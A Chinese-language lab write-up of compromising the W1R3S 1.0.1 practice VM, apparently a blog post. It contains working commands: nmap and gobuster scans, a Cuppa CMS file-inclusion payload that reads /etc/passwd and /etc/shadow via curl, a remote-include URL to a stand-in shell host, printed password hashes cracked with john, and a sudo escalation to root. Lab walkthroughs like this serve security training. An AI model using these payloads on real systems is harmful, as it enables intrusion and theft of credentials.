红队靶机渗透-W1R3S 1.0.1

1.信息收集

主机发现

端口扫描:

nmap -sT --min-rate 10000 -p- 192.168.197.155 -oA nmapscan/ports 
扫描参数-sS和-sT区别:
                     -sS是默认的扫描技术,利用TCP的SYN标志位来探测目标主机上的开放端口,发送一个SYN包,只建立TCP连接的第一步,如果收到了目标主机的SYN+ACK回复,则表示相应的端口是开放的,如果收到RST(复位)数据包,则表示该端口是关闭的;SYN扫描常常用于快速扫描目标主机的端口状态
                     -sT 通过三次握手过程来判断端口的状态,发送完整的TCP连接请求,等待目标主机的回应,如果收到SYN+ACK回复,则表示相应端口是开放的,需要建立完整的TCP链接过程,因此速度相对较慢,但是扫描结果更准确。很多防火墙都能监测到不完整的TCP链接,所以使用-sT参数对于使用了SYN过滤机制或防火墙的目标主机可能更有效,所以-sT这个参数是更好的。
                     当然如果你有流量和速度的一些指标要求,那就根据具体情况选择合适的扫描技术。
--min-rate参数:设定最慢的扫描发包速率,渗透过程中要设定的相对慢一些,具体数值没有区间限定,我个人通常设为10000,取速度和准确性的平衡,同时网络和系统性能能够承受。
-p-参数:-p是指定端口范围的参数,而-是简化的指定1-65535全部端口进行扫描,因为nmap默认只扫描1000个常用端口,动态范围端口和管理员留高位管理端口的习惯决定着我们不要用nmap默认的。
-oA参数:o是输出,A表述all,它包括namp支持的三种输出格式,最终它会用三种不同格式的输出扩展名建立三个文件。
        .gnmap是nmap自己定义的文本格式,按照官方文档,这种格式也已经被放弃了,处于历史的延续性和兼容性仍然保留。
        .nmap和扫描屏幕输出的是一样的。
        .xml 带来的编程交互性不言而喻。
nmapscan/ports:端口扫描结果指定输出到nmapscan目录下并命名为ports。
这条命令构造原则就是要扫描的准,全,并且时间上可接受,还要有一定的隐蔽性。-sT解决准确和隐蔽性问题,--min-rate解决的是隐蔽性和速度的平衡,-oA输出是便于扫描结果的数据化。

详细信息扫描:

TCP扫描
nmap -sT -sV -sC -O -p21,22,80,3306 192.168.197.155 -oA nmapscan/detail
-sT:以TCP扫描 -sV:探测各服务的版本 -sC:用默认的脚本进行扫描 -O: 探测操作系统的版本 -p: 指定端口 
这是nmap当中相对最重的一个扫描,也是最重要的一个扫描,可能时间会稍长一点;与此同时我们准备UDP的扫描。
UDP扫描
nmap -sU --top-ports 20 192.168.197.155 -oA nmapscan/udp 
--top-ports 20 表示扫描常用的20个UDP端口 事实上nmap也有将多个协议一起扫描的语法,但因为它们表现的攻击面是不同的,也为了扫描结果更便于去查看,建议把它们分开来执行扫描。 
3.默认漏洞脚本扫描: nmap --script=vuln -p21,22,80,3306 192.168.197.155 -oA nmapscan/vuln

2. 系统攻击面分析

2.1 21 端口 FTP

根据上述扫描信息尝试 FTP 匿名登录,匿名登录用户名默认为 anonymous,这里成功登录,然后 binary 切换到二进制模式。

尝试下载文件,FTP 里 mget命令 用于批量下载多个文件,get命令t用于下载单个文件。

读取分析下载的几个 txt 文件内容:

一串MD5值: 01ec2d8fc11c493b25029fb1f47f39ce                 解密结果:Thi is not a password   没有价值信息
一串BASE64编码:SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg== 解码:It is easy, but not that easy..  同样没有价值信息
W1R3S.inc employee.list     应该是这个W1R3S公司的员工列表
   Naomi.W - Manager        经理,可能会有基于业务的高权限,也可能掌握员工数据等
   Hector.A - IT Dept       可能有基于技术的高权限以及掌握员工系统权限相关信息,比如FTP、邮箱等账户信息
   Joseph.G - Web Design    web设计,可能权限较小 
   Albert.O - Web Design
   Gina.L - Inventory       库管,可能会有些数据信息
   Rico.D - Human Resources 人力资源可能掌握全部人员最详细的信息
   基于角色的分析对于渗透测试来说至关重要,可以根据用户名形成字典去爆破等操作
最后两行信息比较反常,上下翻转并且逆序,这里可以借助网络工具(www.upsidedowntext.com)或者截图翻转还原这两串字符,还原后的信息如下,同样没什么价值:
 ı don't thınk thıs ıs the way to root!
 we have a ןot of work to do‘ stop pןayıng around˙˙˙˙
FTP的测试就到这。

2.2 3306 端口 MySQL

这里禁止远程登录,继续测试意义不大。

2.3 80 端口 web 服务

访问 80,看到 Apache 的默认页面,这个页面一般来说是维持架设服务器时的原貌的,个别站点会在不同地方隐藏一些信息,尤其是一些小的、新建的网站,团队协作的时候,很可能在某一处留了一些信息。

查看页面源码,没有什么有价值的信息

目录爆破

gobuster dir -u http://192.168.197.155 --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
这个字典是kali自带,目录爆破时经常使用它,medium字典基本上就够用了

访问 wordpress 会跳转到 localhost,这里修改 kali 的 host 文件,看是否能访问到 wordpress

这里还是不能访问,转换思路,查看其它页面

访问 administrator 页面看到 Cuppa CMS 的安装页面,核对重要信息也都是支持的,可以执行安装。真实渗透测试环境中慎重,这样的操作极易对系统或服务器环境造成不可逆的修改,严重会造成服务器终止服务,对操作结果要有预期。

执行 next 是一个安装的配置页面 ,填写各项信息提交

提示用户创建失败,查看页面源码也没有泄露出敏感信息,至此,针对目录的测试收效甚微。

但 Cuppa CMS 总归是一套内容管理系统,作为应有的思路,应该想到这套 CMS 是否有公开漏洞,通过 searchsploit 搜索得到一个该 CMS 文件包含漏洞,将其下载到当前目录

searchsploit cuppa cms
searchsploit cuppa cms -m 25971

查看此漏洞说明:cat 25971.txt
在/alerts/alertConfigField.php文件第22行代码 <?php include($_REQUEST["urlConfig"]); ?>,REQUEST处理urlConfig参数时产生了文件包含漏洞,可以包含本地或远程的phpfile,或者是利用这个漏洞可以读取非php文件。给到的利用方式:
http://target/cuppa/alerts/alertConfigField.php?urlConfig=http://www.shell.com/shell.txt?     //远程包含
http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd      //读取passwd
http://target/cuppa/alerts/alertConfigField.php?urlConfig=php://filter/convert.base64-encode/resource=../Configuration.php    //读取php源码

尝试读取 passwd,路径不正确

很可能 cuppa 在安装时根目录被指定为 administrator,修改路径再次尝试。这个路径只能通过猜测。

http://192.168.197.155/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd

页面有内容,但并没有读出来 passwd。可能与数据提交方式、编码等有关。

这里在github上找到了cuppa CMS官方的库https://github.com/CuppaCMS/CuppaCMS,而且是几年前的,那就证明cuppa CMS并没有太多的版本,它有漏洞,很可能在这个库中也是存在的,做代码审计,查看文件包含漏洞代码,发现是POST提交方式。

通过 curl 提交 (也可以使用 Burp suit):

curl --data-urlencode 'urlConfig=../../../../../../../../../etc/passwd'  http://192.168.197.155/administrator/alerts/alertConfigField.php
--data-urlencode:对数据进行url编码并且通过POST方式传递
看到已经列出了passwd的内容,每一条用户数据的第二段都是x,证明密码是以哈希的方式存储在了shadow文件里

读取shadow文件,curl --data-urlencode 'urlConfig=../../../../../../../../../etc/shadow'  http://192.168.197.155/administrator/alerts/alertConfigField.php

接下来就是破解有 hash 值的用户,一共是 3 个,无论哪个用户的破解都能让我们获得进一步的权限

root:$6$vYcecPCy$JNbK.hr7HU72ifLxmjpIP9kTcx./ak2MM3lBs.Ouiu0mENav72TfQIs8h1jPm2rwRFqd87HDC0pi7gn9t7VgZ0:17554:0:99999:7:::
www-data:$6$8JMxE7l0$yQ16jM..ZsFxpoGue8/0LBUnTas23zaOqg2Da47vmykGTANfutzM8MuFidtb0..Zk.TUKDoDAVRCoXiZAH.Ud1:17560:0:99999:7:::
w1r3s:$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.:17567:0:99999:7:::

直接丢给 john 去破解,获得了两个用户的登录密码,一般来说在运维的时候 www-data 都是功能性账号,相比来说 wir3s 用户拥有的权限可能会更高。

3. 提权

尝试以 w1r3s 用户登录靶机:

SSH w1r3s@192.168.197.155    看到uid为1000,并且有sudo权限

查看能否提权, sudo -l 查看有哪些系统权限,这里显示为 ALL,即拥有全部的系统权限,意味着 w1r3s 用户基本上等于 root

以 sudo 权限执行一个 bash 会话,提权成功,whami 为 root 用户。至此,针对 w1r3s 的渗透测试已经全部完成

4. 总结

nmap扫描获得了系统的4个端口,21,22,80,3306,都是标准的服务端口;
对4个端口排布之后,先看了匿名的FTP,获得了若干文件文件,逐一查看,该破解的破解,该做字符处理的字符处理;
然后看了3306是禁止连接的;
80端口先是目录爆破,得到3个目录wordpress、javascript、administrator,javascript是无法访问的,因为wordpress的路径问题当时没有配置成功,需要做大的调整,所以暂时放弃了这条路。在administrator路径下发现cuppa CMS的安装界面,通过公开漏洞利用搜索找到了一个文件包含漏洞利用,也做了代码审计,获得了shadow文件,利用john破解出了w1r3s用户的凭据,通过sudo -l去查看发现拥有所有权限,直接通过sudo启动了一个新的bash会话,获得了系统root权限
22端口原本没有抱太大希望,简单评估后利用FTP获得的关键字做了一个简易的用户字典,然后通过rockyou密码库做了暴力破解,也获得了w1r3s的密码,提权方式和上一步相同。
  • 22
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值